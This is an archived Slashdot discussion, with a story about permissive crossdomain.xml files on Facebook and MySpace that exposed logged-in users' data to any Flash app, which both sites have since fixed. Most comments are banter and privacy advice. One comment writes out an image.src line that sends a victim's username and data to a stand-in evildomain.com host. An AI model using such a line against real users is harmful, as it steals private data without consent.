<article>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#article09_11_05_1552204</id>
	<title>Facebook and MySpace Backdoors Found, Fixed</title>
	<author>Soulskill</author>
	<datestamp>1257438540000</datestamp>
	<htmltext>jamie writes with news of a Facebook app developer who <a href="http://www.yvoschaap.com/index.php/weblog/facebook\_myspace\_accounts\_hijacked/">found a significant security hole</a> while he was trying to get around function limitations for his application. Quoting:
<i>"Luckily &mdash; just with browser AJAX requests &mdash; a flash application hosted on domain X is unable to open a file on domain Y. If this would be possible, domain X [would be] able to access content on domain Y, and when the user is logged in on domain Y retrieve and post back any personal data. In certain cases this could limit a Flash application's capabilities. ... To resolve such issues, Adobe (Flash's developers) introduced a 'crossdomain.xml' file which could allow certain domains to access another domain, leading to cross-domain access by certain or all domains. While indeed Facebook locked the front door from any non-Facebook domain access via Flash, a simple subdomain change allowed any flash application (domain="*") to access its domain data."</i>
He found a similar problem in MySpace's crossdomain.xml. Both sites were notified, and they have implemented fixes.</htmltext>
<tokenext>jamie writes with news of a Facebook app developer who found a significant security hole while he was trying to get around function limitations for his application .
Quoting : " Luckily    just with browser AJAX requests    a flash application hosted on domain X is unable to open a file on domain Y. If this would be possible , domain X [ would be ] able to access content on domain Y , and when the user is logged in on domain Y retrieve and post back any personal data .
In certain cases this could limit a Flash application 's capabilities .
... To resolve such issues , Adobe ( Flash 's developers ) introduced a 'crossdomain.xml ' file which could allow certain domains to access another domain , leading to cross-domain access by certain or all domains .
While indeed Facebook locked the front door from any non-Facebook domain access via Flash , a simple subdomain change allowed any flash application ( domain = " * " ) to access its domain data .
" He found a similar problem in MySpace 's crossdomain.xml .
Both sites were notified , and they have implemented fixes .</tokentext>
<sentencetext>jamie writes with news of a Facebook app developer who found a significant security hole while he was trying to get around function limitations for his application.
Quoting:
"Luckily — just with browser AJAX requests — a flash application hosted on domain X is unable to open a file on domain Y. If this would be possible, domain X [would be] able to access content on domain Y, and when the user is logged in on domain Y retrieve and post back any personal data.
In certain cases this could limit a Flash application's capabilities.
... To resolve such issues, Adobe (Flash's developers) introduced a 'crossdomain.xml' file which could allow certain domains to access another domain, leading to cross-domain access by certain or all domains.
While indeed Facebook locked the front door from any non-Facebook domain access via Flash, a simple subdomain change allowed any flash application (domain="*") to access its domain data.
"
He found a similar problem in MySpace's crossdomain.xml.
Both sites were notified, and they have implemented fixes.</sentencetext>
</article>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997064</id>
	<title>Re:Blunderware...</title>
	<author>Anonymous</author>
	<datestamp>1257447540000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>You aren't important enough for anyone to want your information.</p></div><p>Incorrect if...</p><ul><li>you have a bank account with cash</li><li>you have a credit card or decent credit</li><li>you've pissed off someone who's tech-savvy, or who'll hire a tech-savvy private investigator</li><li>you have an attractive cousin</li><li>cetera...</li></ul></div>
	</htmltext>
<tokenext>You are n't important enough for anyone to want your information.Incorrect if...you have a bank account with cashyou have a credit card or decent credityou 've pissed off someone who 's tech-savvy , or who 'll hire a tech-savvy private investigatoryou have an attractive cousincetera.. .</tokentext>
<sentencetext>You aren't important enough for anyone to want your information.Incorrect if...you have a bank account with cashyou have a credit card or decent credityou've pissed off someone who's tech-savvy, or who'll hire a tech-savvy private investigatoryou have an attractive cousincetera...
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996474</id>
	<title>Re:Blunderware...</title>
	<author>imakemusic</author>
	<datestamp>1257444600000</datestamp>
	<modclass>Funny</modclass>
	<modscore>3</modscore>
	<htmltext><p><div class="quote"><p>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.</p> </div><p>Well, you say that but we all know it's because you don't have any friends.</p></div>
	</htmltext>
<tokenext>I feel it as a personal accomplishment I * dont * have social network accounts on Facebook , Myspace and alike .
Well , you say that but we all know it 's because you do n't have any friends .</tokentext>
<sentencetext>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.
Well, you say that but we all know it's because you don't have any friends.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</id>
	<title>Blunderware...</title>
	<author>adosch</author>
	<datestamp>1257443160000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>1</modscore>
	<htmltext>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.  It's bad enough people openly don't care about privacy or salvaging their identity, but ITFA, this clearly lets you 0wn any account in an auto-login status.  And the guy is absolutely right... what typical, non-aware user doesn't?  Glad to see all those bad script-kiddie hack sites that boast breaking into social network accounts for $100 a pop will lose a bit of their income to buy Mt. Dew and oreos due to this being publicly uncovered...</htmltext>
<tokenext>I feel it as a personal accomplishment I * dont * have social network accounts on Facebook , Myspace and alike .
It 's bad enough people openly do n't care about privacy or salvaging their identity , but ITFA , this clearly lets you 0wn any account in an auto-login status .
And the guy is absolutely right... what typical , non-aware user does n't ?
Glad to see all those bad script-kiddie hack sites that boast breaking into social network accounts for $ 100 a pop will lose a bit of their income to buy Mt .
Dew and oreos due to this being publicly uncovered.. .</tokentext>
<sentencetext>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.
It's bad enough people openly don't care about privacy or salvaging their identity, but ITFA, this clearly lets you 0wn any account in an auto-login status.
And the guy is absolutely right... what typical, non-aware user doesn't?
Glad to see all those bad script-kiddie hack sites that boast breaking into social network accounts for $100 a pop will lose a bit of their income to buy Mt.
Dew and oreos due to this being publicly uncovered...</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594</id>
	<title>Facebook is a buggy mess</title>
	<author>WankersRevenge</author>
	<datestamp>1257445140000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext>It amazes me that facebook rose to prominence in the way it did.  Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.  It simply floors me at how much bad code is pushed out to production servers or how many things break on a daily basis.  I'm not talking simple copy bugs, but full on showstopping bugs.  At one point, I was filing bug reports to them on a daily basis.  If there is any qa department, it is incredibly lax.  I'm guessing it's just a couple of interns sniffing for a gig. The only reason I'm using facebook is to grow my zombie blog, and once I reach a point where my traffic isn't dependent on that site, I'm dropping them like a friggin rock.  And it will be a glorious day indeed.</htmltext>
<tokenext>It amazes me that facebook rose to prominence in the way it did .
Out of all the sites I have ever used , Facebook is the worst when it comes to bugs .
It simply floors me at how much bad code is pushed out to production servers or how many things break on a daily basis .
I 'm not talking simple copy bugs , but full on showstopping bugs .
At one point , I was filing bug reports to them on a daily basis .
If there is any qa department , it is incredibly lax .
I 'm guessing it 's just a couple of interns sniffing for a gig .
The only reason I 'm using facebook is to grow my zombie blog , and once I reach a point where my traffic is n't dependent on that site , I 'm dropping them like a friggin rock .
And it will be a glorious day indeed .</tokentext>
<sentencetext>It amazes me that facebook rose to prominence in the way it did.
Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.
It simply floors me at how much bad code is pushed out to production servers or how many things break on a daily basis.
I'm not talking simple copy bugs, but full on showstopping bugs.
At one point, I was filing bug reports to them on a daily basis.
If there is any qa department, it is incredibly lax.
I'm guessing it's just a couple of interns sniffing for a gig.
The only reason I'm using facebook is to grow my zombie blog, and once I reach a point where my traffic isn't dependent on that site, I'm dropping them like a friggin rock.
And it will be a glorious day indeed.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066</id>
	<title>McCroskey</title>
	<author>Anonymous</author>
	<datestamp>1257442620000</datestamp>
	<modclass>Funny</modclass>
	<modscore>3</modscore>
	<htmltext>Looks like I picked the wrong week to deactivate my FB account.</htmltext>
<tokenext>Looks like I picked the wrong week to deactivate my FB account .</tokentext>
<sentencetext>Looks like I picked the wrong week to deactivate my FB account.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266</id>
	<title>Re:McCroskey</title>
	<author>natehoy</author>
	<datestamp>1257443580000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext><p>If I understand it, I have significant access to my friends' data on Facebook.  When *I* sign up for an account, the app not only has access to my data, but any and all data I have access to.  So you might not have given access to your data, but a friend might.</p><p>Plus, doesn't Facebook use Flash on a few of their ads?  With the old crossdomain setting, Facebook's advertisers could also have gained access to your data.</p><p>Don't post anything on Facebook you aren't comfortable telling your friends, your boss, your wife, or any random stranger.</p></htmltext>
<tokenext>If I understand it , I have significant access to my friends ' data on Facebook .
When * I * sign up for an account , the app not only has access to my data , but any and all data I have access to .
So you might not have given access to your data , but a friend might.Plus , does n't Facebook use Flash on a few of their ads ?
With the old crossdomain setting , Facebook 's advertisers could also have gained access to your data.Do n't post anything on Facebook you are n't comfortable telling your friends , your boss , your wife , or any random stranger .</tokentext>
<sentencetext>If I understand it, I have significant access to my friends' data on Facebook.
When *I* sign up for an account, the app not only has access to my data, but any and all data I have access to.
So you might not have given access to your data, but a friend might.Plus, doesn't Facebook use Flash on a few of their ads?
With the old crossdomain setting, Facebook's advertisers could also have gained access to your data.Don't post anything on Facebook you aren't comfortable telling your friends, your boss, your wife, or any random stranger.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29999654</id>
	<title>Re:Facebook is a buggy mess</title>
	<author>stephanruby</author>
	<datestamp>1257415320000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.</p></div></blockquote><p>
I'm guessing you've never used friendster, myspace, or slashdot.</p></div>
	</htmltext>
<tokenext>Out of all the sites I have ever used , Facebook is the worst when it comes to bugs .
I 'm guessing you 've never used friendster , myspace , or slashdot .</tokentext>
<sentencetext>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.
I'm guessing you've never used friendster, myspace, or slashdot.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006036</id>
	<title>Re:McCroskey</title>
	<author>Anonymous</author>
	<datestamp>1257525720000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Wouldn't it be awesome to have an "anonymous" option in facebook?  I could tell everyone that natehoy sucks balls there as well as here, without repercussions!</p></htmltext>
<tokenext>Would n't it be awesome to have an " anonymous " option in facebook ?
I could tell everyone that natehoy sucks balls there as well as here , without repercussions !</tokentext>
<sentencetext>Wouldn't it be awesome to have an "anonymous" option in facebook?
I could tell everyone that natehoy sucks balls there as well as here, without repercussions!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</id>
	<title>Re:Blunderware...</title>
	<author>Anonymous</author>
	<datestamp>1257444300000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.</p> </div><p>I hate to break this to you.... wait, actually I rather enjoy it.  I was just trying to be polite.  Let's face it, you're on Slashdot.  You're either an asshole, a moron, or a zealot.  Possibly even a combination of all 3.  People in <b>real life</b> don't want to associate with you, much less be your friend in a social network.  Let's also be clear about something here.  <b>You aren't important enough for anyone to want your information.</b>  That's just the way it is.  There is no reason for you to feel accomplished in not having an account.  Nothing you have actually matters to anyone except you.</p></div>
	</htmltext>
<tokenext>I feel it as a personal accomplishment I * dont * have social network accounts on Facebook , Myspace and alike .
I hate to break this to you.... wait , actually I rather enjoy it .
I was just trying to be polite .
Let 's face it , you 're on Slashdot .
You 're either an asshole , a moron , or a zealot .
Possibly even a combination of all 3 .
People in real life do n't want to associate with you , much less be your friend in a social network .
Let 's also be clear about something here .
You are n't important enough for anyone to want your information .
That 's just the way it is .
There is no reason for you to feel accomplished in not having an account .
Nothing you have actually matters to anyone except you .</tokentext>
<sentencetext>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.
I hate to break this to you.... wait, actually I rather enjoy it.
I was just trying to be polite.
Let's face it, you're on Slashdot.
You're either an asshole, a moron, or a zealot.
Possibly even a combination of all 3.
People in real life don't want to associate with you, much less be your friend in a social network.
Let's also be clear about something here.
You aren't important enough for anyone to want your information.
That's just the way it is.
There is no reason for you to feel accomplished in not having an account.
Nothing you have actually matters to anyone except you.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996720</id>
	<title>Re:maybe</title>
	<author>F-3582</author>
	<datestamp>1257445800000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>They just got updated with a fix for that issue.</htmltext>
<tokenext>They just got updated with a fix for that issue .</tokentext>
<sentencetext>They just got updated with a fix for that issue.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996328</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30000146</id>
	<title>Facebook Chat</title>
	<author>Anonymous</author>
	<datestamp>1257417420000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Has anyone here notice a bug that allows you to see online friends on your iphone that aren't online on the computer? This bug persists with the same friends even after reboot of the ipod and computer.</p></htmltext>
<tokenext>Has anyone here notice a bug that allows you to see online friends on your iphone that are n't online on the computer ?
This bug persists with the same friends even after reboot of the ipod and computer .</tokentext>
<sentencetext>Has anyone here notice a bug that allows you to see online friends on your iphone that aren't online on the computer?
This bug persists with the same friends even after reboot of the ipod and computer.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29999168</id>
	<title>have I understood correctly?</title>
	<author>dropadrop</author>
	<datestamp>1257413340000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>So did I get this correctly...</p><p>I have a crossdomain.xml file on my website a.com with a very lax policy (allow *). This means that pretty much any flash file I open from any other site can access a.com and see (or copy) data with my permissions? If I have auto-login enabled (as in the facebook example) it can log in with my cookies and collect the data without the site being open, and if my site does not feature auto login it can still access the data given I have an open session?</p></htmltext>
<tokenext>So did I get this correctly...I have a crossdomain.xml file on my website a.com with a very lax policy ( allow * ) .
This means that pretty much any flash file I open from any other site can access a.com and see ( or copy ) data with my permissions ?
If I have auto-login enabled ( as in the facebook example ) it can log in with my cookies and collect the data without the site being open , and if my site does not feature auto login it can still access the data given I have an open session ?</tokentext>
<sentencetext>So did I get this correctly...I have a crossdomain.xml file on my website a.com with a very lax policy (allow *).
This means that pretty much any flash file I open from any other site can access a.com and see (or copy) data with my permissions?
If I have auto-login enabled (as in the facebook example) it can log in with my cookies and collect the data without the site being open, and if my site does not feature auto login it can still access the data given I have an open session?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998526</id>
	<title>Re:Blunderware...</title>
	<author>Anonymous</author>
	<datestamp>1257453720000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>Somewhere... hidden among all the assholes.. probably..</p></div><p>It's called "kidnapping" and we're trying to keep it secret, so hush!</p></div>
	</htmltext>
<tokenext>Somewhere... hidden among all the assholes.. probably..It 's called " kidnapping " and we 're trying to keep it secret , so hush !</tokentext>
<sentencetext>Somewhere... hidden among all the assholes.. probably..It's called "kidnapping" and we're trying to keep it secret, so hush!
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996718</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996260</id>
	<title>What about image.src?</title>
	<author>Anonymous</author>
	<datestamp>1257443520000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Couldn't an evil app always send out sensitive information via:</p><p>image.src="http://evildomain.com/script?username=victim&amp;sensitiveinfo=gotcha"</p></htmltext>
<tokenext>Could n't an evil app always send out sensitive information via : image.src = " http : //evildomain.com/script ? username = victim&amp;sensitiveinfo = gotcha "</tokentext>
<sentencetext>Couldn't an evil app always send out sensitive information via:image.src="http://evildomain.com/script?username=victim&amp;sensitiveinfo=gotcha"</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30003334</id>
	<title>Re:Blunderware...</title>
	<author>Anonymous</author>
	<datestamp>1257448620000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Want to know a little secret? No one cares.  By acting like having a Facebook account is a big deal...you are in fact making it a big deal.</p><p>People like to think that everything they post will be immortalized or that it has incredible importance, but it won't and it doesn't. Someday Facebook will die and will take all your bitchy wall posts, drunken status updates, and embarrassing photos with it. Choose to use it or don't. Choose to post all your info on it or choose not to. Neither decision is really that big of a deal.</p><p>As far as breaking into accounts...are you twelve or something? Who would care? What's the former account owner to do? End his life, or set up a new account? "A whole evening ruined! Curse you, Facebook hackers!".</p><p>It's just a crappy contact list/message board app after all,  and not the be all end all of the world it exists in. To consider that some people think it actually *is* their identity is absurd beyond belief. I don't know whether to laugh, cry or shrug.</p></htmltext>
<tokenext>Want to know a little secret ?
No one cares .
By acting like having a Facebook account is a big deal...you are in fact making it a big deal.People like to think that everything they post will be immortalized or that it has incredible importance , but it wo n't and it does n't .
Someday Facebook will die and will take all your bitchy wall posts , drunken status updates , and embarrassing photos with it .
Choose to use it or do n't .
Choose to post all your info on it or choose not to .
Neither decision is really that big of a deal.As far as breaking into accounts...are you twelve or something ?
Who would care ?
What 's the former account owner to do ?
End his life , or set up a new account ?
" A whole evening ruined !
Curse you , Facebook hackers !
" .It 's just a crappy contact list/message board app after all , and not the be all end all of the world it exists in .
To consider that some people think it actually * is * their identity is absurd beyond belief .
I do n't know whether to laugh , cry or shrug .</tokentext>
<sentencetext>Want to know a little secret?
No one cares.
By acting like having a Facebook account is a big deal...you are in fact making it a big deal.People like to think that everything they post will be immortalized or that it has incredible importance, but it won't and it doesn't.
Someday Facebook will die and will take all your bitchy wall posts, drunken status updates, and embarrassing photos with it.
Choose to use it or don't.
Choose to post all your info on it or choose not to.
Neither decision is really that big of a deal.As far as breaking into accounts...are you twelve or something?
Who would care?
What's the former account owner to do?
End his life, or set up a new account?
"A whole evening ruined!
Curse you, Facebook hackers!
".It's just a crappy contact list/message board app after all,  and not the be all end all of the world it exists in.
To consider that some people think it actually *is* their identity is absurd beyond belief.
I don't know whether to laugh, cry or shrug.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002766</id>
	<title>Re:Facebook is a buggy mess</title>
	<author>commodoresloat</author>
	<datestamp>1257437280000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>The only reason I'm using facebook is to grow my zombie blog....</p></div><p>There was once a day you just didn't hear sentences like this.</p></div>
	</htmltext>
<tokenext>The only reason I 'm using facebook is to grow my zombie blog....There was once a day you just did n't hear sentences like this .</tokentext>
<sentencetext>The only reason I'm using facebook is to grow my zombie blog....There was once a day you just didn't hear sentences like this.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996648</id>
	<title>Re:Blunderware...</title>
	<author>Culture20</author>
	<datestamp>1257445380000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.</p></div><p>Wait, so that's a fake you on FB whose last status update was "I &lt;3 my little ponies"?  I can't be your friend any more.  I like the FB you better.</p></div>
	</htmltext>
<tokenext>I feel it as a personal accomplishment I * dont * have social network accounts on Facebook , Myspace and alike.Wait , so that 's a fake you on FB whose last status update was " I</tokentext>
<sentencetext>I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike.Wait, so that's a fake you on FB whose last status update was "I 
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180</id>
	<title>Re:McCroskey</title>
	<author>megamerican</author>
	<datestamp>1257443100000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Looks like I picked the wrong week to deactivate my FB account.</p></div><p>Why? I've been on facebook since late 2004 and have never used a single app. You'd have been perfectly safe if you never used them or only used ones which you absolutely trusted.</p></div>
	</htmltext>
<tokenext>Looks like I picked the wrong week to deactivate my FB account.Why ?
I 've been on facebook since late 2004 and have never used a single app .
You 'd have been perfectly safe if you never used them or only used ones which you absolutely trusted .</tokentext>
<sentencetext>Looks like I picked the wrong week to deactivate my FB account.Why?
I've been on facebook since late 2004 and have never used a single app.
You'd have been perfectly safe if you never used them or only used ones which you absolutely trusted.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30003282</id>
	<title>Premium White Pro</title>
	<author>ronnny</author>
	<datestamp>1257447600000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Facebook is no comparison to myspace  . Myspace is different zone of siti

<a href="http://ezinearticles.com/?Premium-White-Pro-Review---Does-Premium-White-Pro-Work?&amp;id=3205190" title="ezinearticles.com" rel="nofollow">Premium White Pro</a> [ezinearticles.com]</htmltext>
<tokenext>Facebook is no comparison to myspace .
Myspace is different zone of siti Premium White Pro [ ezinearticles.com ]</tokentext>
<sentencetext>Facebook is no comparison to myspace  .
Myspace is different zone of siti

Premium White Pro [ezinearticles.com]</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998474</id>
	<title>Re:Blunderware...</title>
	<author>mcgrew</author>
	<datestamp>1257453480000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Hey, <a href="http://slashdot.org/~adosch/friends" title="slashdot.org">you're right!</a> [slashdot.org] He does have <a href="http://slashdot.org/~adosch/fans" title="slashdot.org">one fan,</a> [slashdot.org] though.</p></htmltext>
<tokenext>Hey , you 're right !
[ slashdot.org ] He does have one fan , [ slashdot.org ] though .</tokentext>
<sentencetext>Hey, you're right!
[slashdot.org] He does have one fan, [slashdot.org] though.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996474</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30001104</id>
	<title>Re:Blunderware...</title>
	<author>Dhalka226</author>
	<datestamp>1257421860000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>Let's face it, you're on Slashdot. You're either an asshole, a moron, or a zealot.</p></div> </blockquote><p>

The irony abounds.</p></div>
	</htmltext>
<tokenext>Let 's face it , you 're on Slashdot .
You 're either an asshole , a moron , or a zealot .
The irony abounds .</tokentext>
<sentencetext>Let's face it, you're on Slashdot.
You're either an asshole, a moron, or a zealot.
The irony abounds.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998770</id>
	<title>Re:McCroskey</title>
	<author>0100010001010011</author>
	<datestamp>1257411660000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Facebook has nearly the equivalent of ACLs. Learn to use the groups and privacy functions.  You can put people into groups and then give groups, or individual people access (or block access) to nearly any aspect of the site. (And I'm guessing by extension Apps that those people use).</p><p>Right now everything is locked down to the point that NO ONE can see anything by default. You can't even search me by name because I don't 'exist'. No pictures, no information, nothing.</p><p>I have "Family", "Friends", "Acquaintances", "Co-Workers", etc.</p><p>If I want to share that great night out at the bars, my Friends get access and then my cousin that's the same as me.</p><p>Those family vacation photos: Family and Co-Workers.</p><p>My full name address and cell phone: Family, Friends &amp; Co-Workers.</p><p>Benign information: Acquaintances.</p></htmltext>
<tokenext>Facebook has nearly the equivalent of ACLs .
Learn to use the groups and privacy functions .
You can put people into groups and then give groups , or individual people access ( or block access ) to nearly any aspect of the site .
( And I 'm guessing by extension Apps that those people use ) .Right now everything is locked down to the point that NO ONE can see anything by default .
You ca n't even search me by name because I do n't 'exist' .
No pictures , no information , nothing.I have " Family " , " Friends " , " Acquaintances " , " Co-Workers " , etc.If I want to share that great night out at the bars , my Friends get access and then my cousin that 's the same as me.Those family vacation photos : Family and Co-Workers.My full name address and cell phone : Family , Friends &amp; Co-Workers.Benign information : Acquaintances .</tokentext>
<sentencetext>Facebook has nearly the equivalent of ACLs.
Learn to use the groups and privacy functions.
You can put people into groups and then give groups, or individual people access (or block access) to nearly any aspect of the site.
(And I'm guessing by extension Apps that those people use).Right now everything is locked down to the point that NO ONE can see anything by default.
You can't even search me by name because I don't 'exist'.
No pictures, no information, nothing.I have "Family", "Friends", "Acquaintances", "Co-Workers", etc.If I want to share that great night out at the bars, my Friends get access and then my cousin that's the same as me.Those family vacation photos: Family and Co-Workers.My full name address and cell phone: Family, Friends &amp; Co-Workers.Benign information: Acquaintances.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996262</id>
	<title>Re:McCroskey</title>
	<author>Anonymous</author>
	<datestamp>1257443520000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>4</modscore>
	<htmltext><p>Curiously few people seem to have gotten that. I've got an account named "John Doe" to try 'em out and another one which I add people I know to. Funnily, John Doe has several hundred friends already, despite not actually existing.</p></htmltext>
<tokenext>Curiously few people seem to have gotten that .
I 've got an account named " John Doe " to try 'em out and another one which I add people I know to .
Funnily , John Doe has several hundred friends already , despite not actually existing .</tokentext>
<sentencetext>Curiously few people seem to have gotten that.
I've got an account named "John Doe" to try 'em out and another one which I add people I know to.
Funnily, John Doe has several hundred friends already, despite not actually existing.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996820</id>
	<title>Re:McCroskey</title>
	<author>rickb928</author>
	<datestamp>1257446220000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Maybe someone can help you with that?  Whether you know it or not?</p></htmltext>
<tokenext>Maybe someone can help you with that ?
Whether you know it or not ?</tokentext>
<sentencetext>Maybe someone can help you with that?
Whether you know it or not?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996446</id>
	<title>Damn</title>
	<author>kenp2002</author>
	<datestamp>1257444420000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>There went my plan for consulting for HR departments by checking Facebook and Myspace profiles. Guess I am stuck snooping Slashdot accounts and news sites for $10 a person.</p></htmltext>
<tokenext>There went my plan for consulting for HR departments by checking Facebook and Myspace profiles .
Guess I am stuck snooping Slashdot accounts and news sites for $ 10 a person .</tokentext>
<sentencetext>There went my plan for consulting for HR departments by checking Facebook and Myspace profiles.
Guess I am stuck snooping Slashdot accounts and news sites for $10 a person.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996718</id>
	<title>Re:Blunderware...</title>
	<author>tibman</author>
	<datestamp>1257445800000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>There are actually accomplished non-asshole, intelligent, and fair-minded people here on slashdot.  Somewhere... hidden among all the assholes.. probably..</p><p>Also, you are dead wrong<nobr> <wbr></nobr>:)  data-mining anyone and everyone seems to be a very popular thing, whether you think the people are important or not.</p></htmltext>
<tokenext>There are actually accomplished non-asshole , intelligent , and fair-minded people here on slashdot .
